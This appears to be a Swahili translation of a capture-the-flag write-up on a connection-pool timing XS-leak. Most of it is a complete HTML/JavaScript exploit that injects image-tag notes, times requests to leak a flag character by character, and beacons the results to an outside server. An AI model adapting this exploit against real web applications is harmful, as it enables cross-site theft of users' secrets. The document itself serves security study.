Connection Pool by Destination Example

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Katika hii exploit, @terjanq anapendekeza suluhisho lingine kwa changamoto iliyotajwa kwenye ukurasa ufuatao:

Connection Pool by Destination Example

Hebu tuone jinsi hii exploit inavyofanya kazi:

  • Mshambuliaji ataingiza noti yenye <img tags nyingi kadri iwezekanavyo zinazo pakia /js/purify.js (zaidi ya 6 ili kuzuia chanzo).

  • Kisha, mshambuliaji ata ondoa noti yenye index 1.

  • Kisha, mshambuliaji ata [fanya bot ipate ukurasa na noti iliyobaki] na atatuma ombio kwa victim.com/js/purify.js ambayo atafanya kiasi.

  • Ikiwa kiasi ni kikubwa, kuingizwa kulikuwa kwenye noti iliyobaki, ikiwa kiasi ni kidogo, bendera ilikuwa hapo.

Tbh, nikisoma script nilikosa sehemu ambapo mshambuliaji anafanya bot ipakue ukurasa ili kuamsha img tags, sioni chochote kama hicho kwenye msimbo

<html>
<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`); //Time request
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}

add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"

let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"

let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1); //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT);
const time = await timeScript(); //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
</html>
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